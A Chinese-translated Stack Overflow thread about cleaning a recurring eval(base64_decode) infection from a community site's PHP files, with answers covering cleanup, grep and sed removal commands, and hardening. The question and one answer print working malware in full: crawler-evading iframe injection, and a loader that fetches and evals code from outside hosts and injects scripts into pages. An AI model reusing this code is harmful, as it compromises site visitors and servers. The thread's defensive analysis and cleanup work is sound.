如何摆脱类似于PHP病毒文件的eval-base64_decode?

37

我的网站(一个非常大的社区网站)最近感染了病毒。每个index.php文件的开头的php标签都被更改为以下代码:

<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGRpdiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtMTk5OXB4OyB0b3A6IC0yOTk5cHg7Ij48aWZyYW1lIHNyYz0iaHR0cDovL2x6cXFhcmtsLmNvLmNjL1FRa0ZCd1FHRFFNR0J3WUFFa2NKQlFjRUFBY0RBQU1CQnc9PSIgd2lkdGg9IjIiIGhlaWdodD0iMiI+PC9pZnJhbWU+PC9kaXY+JzsNCn0='));

当我解码后,它生成了以下PHP代码:

    <?php
error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
$stop_ips_masks = array(
    array("216.239.32.0","216.239.63.255"),
    array("64.68.80.0"  ,"64.68.87.255"  ),
    array("66.102.0.0",  "66.102.15.255"),
    array("64.233.160.0","64.233.191.255"),
    array("66.249.64.0", "66.249.95.255"),
    array("72.14.192.0", "72.14.255.255"),
    array("209.85.128.0","209.85.255.255"),
    array("198.108.100.192","198.108.100.207"),
    array("173.194.0.0","173.194.255.255"),
    array("216.33.229.144","216.33.229.151"),
    array("216.33.229.160","216.33.229.167"),
    array("209.185.108.128","209.185.108.255"),
    array("216.109.75.80","216.109.75.95"),
    array("64.68.88.0","64.68.95.255"),
    array("64.68.64.64","64.68.64.127"),
    array("64.41.221.192","64.41.221.207"),
    array("74.125.0.0","74.125.255.255"),
    array("65.52.0.0","65.55.255.255"),
    array("74.6.0.0","74.6.255.255"),
    array("67.195.0.0","67.195.255.255"),
    array("72.30.0.0","72.30.255.255"),
    array("38.0.0.0","38.255.255.255")
    );
$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
    $first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1]));
    if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;}
}
foreach ($user_agent_to_filter as $bot_sign){
    if  (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;}
}
if (!$bot) {
echo '<div style="position: absolute; left: -1999px; top: -2999px;"><iframe src="http://lzqqarkl.co.cc/QQkFBwQGDQMGBwYAEkcJBQcEAAcDAAMBBw==" width="2" height="2"></iframe></div>';
}

我尝试了几种方法来清除病毒,甚至从备份中恢复,但文件几分钟或几小时后就会再次感染。所以,你能帮帮我吗?

你对这个病毒了解多少?

它是否利用已知的安全漏洞进行安装和传播?

上述PHP代码实际上是做什么的?

在iframe中嵌入的页面是做什么的?

当然更重要的是:我该怎么样才能摆脱它?

请帮忙,我们几乎没有想法和希望了 :(

更新1 一些细节:一个奇怪的事情是:当我们第一次检查被感染的文件时,它们已经被改变,但在FTP程序中修改时间显示最近访问是几天、几个月甚至几年前!这怎么可能?这让我发疯!

更新2 我认为问题起因是用户在他的WordPress安装中安装了一个插件。在从备份中恢复并完全删除WordPress文件夹和相关的数据库后,问题似乎消失了。我们目前已经订阅了一个安全服务,他们正在调查问题,以确保黑客活动已经彻底消除。谢谢所有回复的人。


看起来黑客利用病毒进行黑帽SEO,并且他们阻止了搜索引擎爬虫机器人的用户代理,以免被降权。 - Yuda Prawira
感谢大家迄今为止的回答和评论。有人能给我澄清一下吗:当有人访问一个被感染的index.php页面,因此执行了上述php代码,这段代码是否能够传播到其他文件并感染它们?还是有另一个脚本进行传播,我需要找到它?如果是这样,我该如何寻找它? - fractalbit
当某人访问一个被感染的index.php页面时,上述PHP代码被执行,这段代码能够传播到其他文件并感染它们吗?在执行(查看)PHP脚本中的代码具有添加/修改/删除服务器内任何其他文件的潜力,只要权限允许。所以,是的。 还是有另一个脚本进行传播,我必须找到它吗?可能会有一个或多个其他脚本执行此代码插入。 我该如何寻找它?正如@Nick ODell建议的那样,Notepad++是一个不错的选择。还要寻找无意义的文件名。 - Luke Stevenson
我们曾遇到类似的问题,通过以下 Stack Overflow 帖子解决: http://stackoverflow.com/a/32952009/1713216 - neurosnap
8个回答

49

恢复和清除您的网站步骤(前提是您有一个可靠的备份)。

1)关闭网站

在进行修复工作之前,您需要基本上关闭您的网站。这将防止访问者获取恶意代码,看到错误消息等。这是良好的实践。

您应该能够通过将以下内容放入Web根目录中的.htaccess文件来完成此操作。(使用您自己的IP地址替换“!!Your IP Address Here !!”-如果您不知道自己的IP地址,请参见http://icanhazip.com)。

order deny,allow
deny from all
allow from !!Your IP Address Here!!

2) 从服务器下载所有文件的副本

将所有内容下载到一个与好的备份分开的文件夹中。这可能需要一些时间(取决于您的网站大小、连接速度等)。

3) 下载并安装文件/文件夹比较工具

在Windows机器上,您可以使用WinMerge - http://winmerge.org/ - 它是免费的且非常强大。 在MacOS机器上,请查看Alternative.to上可能的替代列表。

4) 运行文件/文件夹比较工具

您应该得到几个不同的结果:

  • 文件相同-当前文件与备份相同,因此不受影响。
  • 仅左侧/右侧的文件-该文件仅存在于备份中(可能已从服务器中删除),或仅存在于服务器上(可能已被黑客注入/创建)。
  • 文件不同-服务器上的文件与备份文件不同,因此可能已被您修改(以配置为服务器),也可能已被黑客修改(以注入代码)。

5) 解决差异

(也就是“为什么我们不能和平共处?”)

对于相同的文件,不需要进一步操作。对于仅存在于一侧的文件,查看文件并确定它们是否合法(即用户上传应该在那里的文件,您可能添加的其他文件等)。对于不同的文件,查看文件(文件差异实用程序甚至可以向您显示已添加/修改/删除的行),并查看服务器版本是否有效。覆盖包含恶意代码的任何文件(使用备份版本)。

6)审查您的安全预防措施

无论是简单地更改FTP / cPanel密码,还是审查您对外部/不受控制资源的使用(正如您提到的执行了很多fgets,fopens等操作,您可能要检查传递给它们的参数,因为这是使脚本引入恶意代码的一种方法),等等。

7)检查站点是否正常工作

利用成为唯一查看站点的人的机会,在纠正受感染的文件和删除恶意文件后,确保一切仍然按预期运行。

8)打开门

撤消第1步中对.htaccess文件所做的更改。仔细观察。监视访问者和错误日志,以查看是否有人尝试触发已删除的恶意文件等。

9)考虑自动检测方法

有一些解决方案,可以让你在主机上执行自动检查(使用CRON作业),以检测并详细说明发生的任何更改。其中一些有点啰嗦(你将收到每个更改文件的电子邮件),但是你应该能够根据自己的需求进行调整:

10) 进行定期备份,并保留好括号

确保对网站进行定期备份,并保留其中几个,这样如果需要,就可以回到不同的时间点。例如,如果每周备份一次,你可能想要保留以下备份:

  • 4个每周备份
  • 4个每月备份(你会保留一个每周备份,可能是当月的第一周,作为每月备份)

如果有人攻击你的网站,比代码注入攻击更具破坏性,这些备份将始终使生活更轻松。

哦,还要确保备份您的数据库——由于许多网站基于 CMS,拥有文件很好,但如果您失去/损坏了它们背后的数据库,那么备份基本上就是无用的。


我使用在这篇文章"How to detect if your webserver is hacked and get alerted"中提到的工具 http://www.webdigi.co.uk/blog/2009/how-to-detect-if-your-webserver-is-hacked-and-get-alerted/。 - ToughPal
我实际上创建了自己的变体,基于这个变更检测脚本(https://github.com/lucanos/Tripwire)。但那更多是一个用于检测文件更改的工具,而不是适用于在网站被攻击后采取的行动。(预防措施对于像我这样的专家来说,如果事后才被召唤,就毫无用处。) - Luke Stevenson

3

我也遭受了同样的黑客攻击,我成功解密了代码,虽然我得到了不同的php代码,但我通过循环遍历站点中的每个php文件并删除注入的php文本来开始清除。我仍在调查如何开始清除,但在从此网站解密后,我的代码看起来是这样的:

要在每个php文件上解码加密的php脚本,请使用以下内容: http://www.opinionatedgeek.com/dotnet/tools/base64decode/

并使用以下内容格式化结果: http://beta.phpformatter.com/

要进行清理,您需要从每个php文件的顶部删除"eval"行,并从网站基础文件夹中删除.log文件夹。

我找到了一个Python脚本,稍微修改一下就可以删除php文件中的特洛伊木马,所以我会在这里发布它供其他人使用: 代码来源于线程:replace ALL instances of a character with another one in all files hierarchically in directory tree

import os
import re
import sys

def try_to_replace(fname):
    if replace_extensions: 
        return fname.lower().endswith(".php")
    return True


def file_replace(fname, pat, s_after):
    # first, see if the pattern is even in the file.
    with open(fname) as f:
        if not any(re.search(pat, line) for line in f):
            return # pattern does not occur in file so we are done.

    # pattern is in the file, so perform replace operation.
    with open(fname) as f:
        out_fname = fname + ".tmp"
        out = open(out_fname, "w")
        for line in f:
            out.write(re.sub(pat, s_after, line))
        out.close()
        os.rename(out_fname, fname)


def mass_replace(dir_name, s_before, s_after):
    pat = re.compile(s_before)
    for dirpath, dirnames, filenames in os.walk(dir_name):
        for fname in filenames:
            if try_to_replace(fname):
                print "cleaning: " + fname
                fullname = os.path.join(dirpath, fname)
                file_replace(fullname, pat, s_after)

if len(sys.argv) != 2:
    u = "Usage: rescue.py <dir_name>\n"
    sys.stderr.write(u)
    sys.exit(1)

mass_replace(sys.argv[1], "eval\(base64_decode\([^.]*\)\);", "")

使用类型

python rescue.py 根文件夹

这就是恶意脚本试图执行的操作:

<?php

if (function_exists('ob_start') && !isset($_SERVER['mr_no'])) {
    $_SERVER['mr_no'] = 1;
    if (!function_exists('mrobh')) {
        function get_tds_777($url)
        {
            $content = "";
            $content = @trycurl_777($url);
            if ($content !== false)
                return $content;

            $content = @tryfile_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfopen_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfsockopen_777($url);
            if ($content !== false)
                return $content;
            $content = @trysocket_777($url);
            if ($content !== false)
                return $content;
            return '';
        }

        function trycurl_777($url)
        {
            if (function_exists('curl_init') === false)
                return false;
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            $result = curl_exec($ch);
            curl_close($ch);
            if ($result == "")
                return false;
            return $result;
        }
        function tryfile_777($url)
        {
            if (function_exists('file') === false)
                return false;
            $inc = @file($url);
            $buf = @implode('', $inc);
            if ($buf == "")
                return false;
            return $buf;
        }
        function tryfopen_777($url)
        {
            if (function_exists('fopen') === false)
                return false;
            $buf = '';
            $f   = @fopen($url, 'r');
            if ($f) {
                while (!feof($f)) {
                    $buf .= fread($f, 10000);
                }
                fclose($f);
            } else
                return false;
            if ($buf == "")
                return false;
            return $buf;
        }
        function tryfsockopen_777($url)
        {
            if (function_exists('fsockopen') === false)
                return false;
            $p    = @parse_url($url);
            $host = $p['host'];
            $uri  = $p['path'] . '?' . $p['query'];
            $f    = @fsockopen($host, 80, $errno, $errstr, 30);
            if (!$f)
                return false;
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $host\n\n";
            fwrite($f, $request);
            $buf = '';
            while (!feof($f)) {
                $buf .= fread($f, 10000);
            }
            fclose($f);
            if ($buf == "")
                return false;
            list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
            return $buf;
        }
        function trysocket_777($url)
        {
            if (function_exists('socket_create') === false)
                return false;
            $p    = @parse_url($url);
            $host = $p['host'];
            $uri  = $p['path'] . '?' . $p['query'];
            $ip1  = @gethostbyname($host);
            $ip2  = @long2ip(@ip2long($ip1));
            if ($ip1 != $ip2)
                return false;
            $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
            if (!@socket_connect($sock, $ip1, 80)) {
                @socket_close($sock);
                return false;
            }
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $host\n\n";
            socket_write($sock, $request);
            $buf = '';
            while ($t = socket_read($sock, 10000)) {
                $buf .= $t;
            }
            @socket_close($sock);
            if ($buf == "")
                return false;
            list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
            return $buf;
        }
        function update_tds_file_777($tdsfile)
        {
            $actual1 = $_SERVER['s_a1'];
            $actual2 = $_SERVER['s_a2'];
            $val     = get_tds_777($actual1);
            if ($val == "")
                $val = get_tds_777($actual2);
            $f = @fopen($tdsfile, "w");
            if ($f) {
                @fwrite($f, $val);
                @fclose($f);
            }
            if (strstr($val, "|||CODE|||")) {
                list($val, $code) = explode("|||CODE|||", $val);
                eval(base64_decode($code));
            }
            return $val;
        }
        function get_actual_tds_777()
        {
            $defaultdomain = $_SERVER['s_d1'];
            $dir           = $_SERVER['s_p1'];
            $tdsfile       = $dir . "log1.txt";
            if (@file_exists($tdsfile)) {
                $mtime = @filemtime($tdsfile);
                $ctime = time() - $mtime;
                if ($ctime > $_SERVER['s_t1']) {
                    $content = update_tds_file_777($tdsfile);
                } else {
                    $content = @file_get_contents($tdsfile);
                }
            } else {
                $content = update_tds_file_777($tdsfile);
            }
            $tds = @explode("\n", $content);
            $c   = @count($tds) + 0;
            $url = $defaultdomain;
            if ($c > 1) {
                $url = trim($tds[mt_rand(0, $c - 2)]);
            }
            return $url;
        }
        function is_mac_777($ua)
        {
            $mac = 0;
            if (stristr($ua, "mac") || stristr($ua, "safari"))
                if ((!stristr($ua, "windows")) && (!stristr($ua, "iphone")))
                    $mac = 1;
            return $mac;
        }
        function is_msie_777($ua)
        {
            $msie = 0;
            if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") || stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9"))
                $msie = 1;
            return $msie;
        }
        function setup_globals_777()
        {
            $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
            $mz = "/tmp/";
            if (!@is_dir($rz)) {
                @mkdir($rz);
                if (@is_dir($rz)) {
                    $mz = $rz;
                } else {
                    $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
                    if (!@is_dir($rz)) {
                        @mkdir($rz);
                        if (@is_dir($rz)) {
                            $mz = $rz;
                        }
                    } else {
                        $mz = $rz;
                    }
                }
            } else {
                $mz = $rz;
            }
            $bot = 0;
            $ua  = $_SERVER['HTTP_USER_AGENT'];
            if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
                $bot = 1;
            if (stristr($ua, "bingbot") || stristr($ua, "google"))
                $bot = 1;
            $msie = 0;
            if (is_msie_777($ua))
                $msie = 1;
            $mac = 0;
            if (is_mac_777($ua))
                $mac = 1;
            if (($msie == 0) && ($mac == 0))
                $bot = 1;
            global $_SERVER;
            $_SERVER['s_p1']     = $mz;
            $_SERVER['s_b1']     = $bot;
            $_SERVER['s_t1']     = 1200;
            $_SERVER['s_d1']     = base64_decode('http://ens122zzzddazz.com/');
            $d                   = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" . urlencode($_SERVER["PHP_SELF"]) . "&a=" . urlencode($_SERVER["HTTP_USER_AGENT"]);
            $_SERVER['s_a1']     = base64_decode('http://cooperjsutf8.ru/g_load.php') . $d;
            $_SERVER['s_a2']     = base64_decode('http://nlinthewood.com/g_load.php') . $d;
            $_SERVER['s_script'] = "nl.php?p=d";
        }
        setup_globals_777();
        if (!function_exists('gml_777')) {
            function gml_777()
            {
                $r_string_777 = '';
                if ($_SERVER['s_b1'] == 0)
                    $r_string_777 = '<script src="' . get_actual_tds_777() . $_SERVER['s_script'] . '"></script>';
                return $r_string_777;
            }
        }
        if (!function_exists('gzdecodeit')) {
            function gzdecodeit($decode)
            {
                $t     = @ord(@substr($decode, 3, 1));
                $start = 10;
                $v     = 0;
                if ($t & 4) {
                    $str = @unpack('v', substr($decode, 10, 2));
                    $str = $str[1];
                    $start += 2 + $str;
                }
                if ($t & 8) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 16) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 2) {
                    $start += 2;
                }
                $ret = @gzinflate(@substr($decode, $start));
                if ($ret === FALSE) {
                    $ret = $decode;
                }
                return $ret;
            }
        }
        function mrobh($content)
        {
            @Header('Content-Encoding: none');
            $decoded_content = gzdecodeit($content);
            if (preg_match('/\<\/body/si', $decoded_content)) {
                return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1', $decoded_content);
            } else {
                return $decoded_content . gml_777();
            }
        }
        ob_start('mrobh');
    }
}

?> 

不确定 if replace_extensions: 的意图是什么,但 replace_extensions 未定义 - 我只是将其删除,看起来工作正常。谢谢! - IBam

2
首先,在您弄清楚他是如何进入并修复问题之前,请关闭您的网站。它似乎正在向您的客户提供恶意软件。
接下来,搜索您的php文件以查找fgets,fopen,fputs,eval或system。我推荐使用Notepad++,因为它具有“在文件中查找”的功能。另外,请确保PHP只在一个位置被修改过。您是否有离线副本可供比较?

我本地存储了大部分(如果不是全部)的代码(没有感染),但是如何与服务器上的代码进行比较呢?整个网站的备份大小约为100GB,下载起来很困难。是否可以在服务器上生成一个完整的备份,保留当前目录结构但排除所有图像(占用至少80%的空间),并下载此备份以便进行比较?如果可以,该如何操作? - fractalbit
此外,该网站非常庞大,有许多部分和许多不同的软件,搜索fgets、fopen等会产生数百个结果,这些结果不一定是恶意的。是否有更具体的内容可以查找? - fractalbit
听起来你的应用程序存在漏洞。如果没有看到整个代码库,很难说是什么导致了这些漏洞,所以我建议让其他人检查一下你的代码。 - Nick ODell

2
要摆脱这些恶意的PHP文件,只需要将它们删除即可。如果文件被感染了,您只需要删除看起来可疑的部分。
要找到这些文件总是很棘手的,因为通常在您的网站根目录下有多个这样的文件。
通常,如果你看到某种混淆,这是一个红色警报。
大多数恶意软件都很容易根据它们使用的常见功能来找到,这包括:
base64_decode, lzw_decompress, eval, 等等
通过使用编码格式,它们压缩了它们的大小并使它们更难以被非经验用户解码。
这里有几个grep命令可以找到最常见的恶意软件PHP代码:
grep -R return.*base64_decode  .
grep --include=\*.php -rn 'return.*base64_decode($v.\{6\})' .

您可以在服务器上运行这些命令,或者在将网站通过FTP(例如ncftpget -R)同步到本地计算机后运行这些命令。
或者使用专门设计用于查找此类恶意文件的扫描工具,请参见:PHP安全扫描器
为了教育目的,请查看以下 PHP 漏洞利用脚本收集,当调查可在 kenorb/php-exploit-scripts GitHub 上获取的入侵服务器时发现(受 @Mattias 原始收集 的影响)。这将使您了解这些 PHP 可疑文件的外观,以便您学习如何在服务器上查找更多的这些文件。
另请参阅:

1

我的网站/或我托管的网站多次遭受类似攻击。

我会介绍我所做的解决方法。我并不保证这是最好/最简单的方法,但它有效,并且自那以后,我可以主动地控制局面。

  1. 尽快解决问题 我创建了一个非常简单的PHP脚本(当时写得很草率,所以可能不是最优化的代码,但它可以相当快地解决问题): http://www.ecommy.com/web-security/clean-php-files-from-eval-infection

  2. 确保您知道类似情况再次发生时。黑客使用各种方法,从SQL注入您安装的外部模块到用字典攻击或非常常见的密码模式(如1qaz... qwerty....等)强制进入您的管理面板。 我在这里提供脚本: http://www.ecommy.com/web-security/scan-for-malware-viruses-and-php-eval-based-infections

  3. 计划任务条目应该是这样的: 0 2 * * 5 /root/scripts/base64eval_scan > /dev/null 2>&1&

我更新了页面,使得有人可以直接下载文件。希望对你有用,就像对我一样。


0

我也遇到了同样的问题,当我删除它时,代码会自动生成。我按照以下步骤操作,现在它可以正常工作:

1- 限制SSH访问

我看到一些SSH登录尝试,并猜测可能与此有关的恶意软件!

2- 启用SELinux

记住为nginx权限访问文件配置SElinux。

3- 删除eval(base64_decode(...))

从所有index.php [从根目录、插件目录等]中删除包含eval(base64_decode(...))的行。


0
  1. 确保任何流行的网络应用程序,如WordPress或vBulletin都已更新。旧版本存在许多漏洞,可能会导致服务器被攻击,如果不进行更新,这种情况可能会再次发生。在此之前,没有继续进行的必要。

  2. 如果文件不断被替换,则表示后台运行了rootkit或trojan。该文件无法自我复制。您将首先需要摆脱rootkit。尝试使用rkhunterchkrootkitLMD。将ps aux的输出与安全服务器进行比较,并检查/var/tmp/tmp以查找可疑文件。您可能需要重新安装操作系统。

  3. 确保管理服务器的所有工作站都是最新且干净的。不要通过不安全的无线连接连接或使用明文身份验证,例如FTP(改用SFTP)。仅使用https登录控制面板。

  4. 为防止再次发生此类情况,请运行csf或类似的防火墙,每天运行LMD扫描,并及时更新服务器上所有应用程序的最新安全补丁。


-1

假设这是一个基于Linux的服务器并且您拥有SSH访问权限,您可以运行以下命令来删除有问题的代码:

find . -name "*.php" | xargs sed -i 's@eval[ \t]*([ \t]*base64_decode[ \t]*([ \t]*['"'"'"][A-Za-z0-9/_=+:!.-]\{1,\}['"'"'"][ \t]*)[ \t]*)[ \t]*;@@'

这包括所有已知的base64实现,无论base64文本是否被单引号或双引号包围都可以使用。

编辑:现在也适用于内部空格。


这不是一个合适的解决方案。1.它不能找到所有的恶意代码,2.它可能会破坏合法文件。 - lxg

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接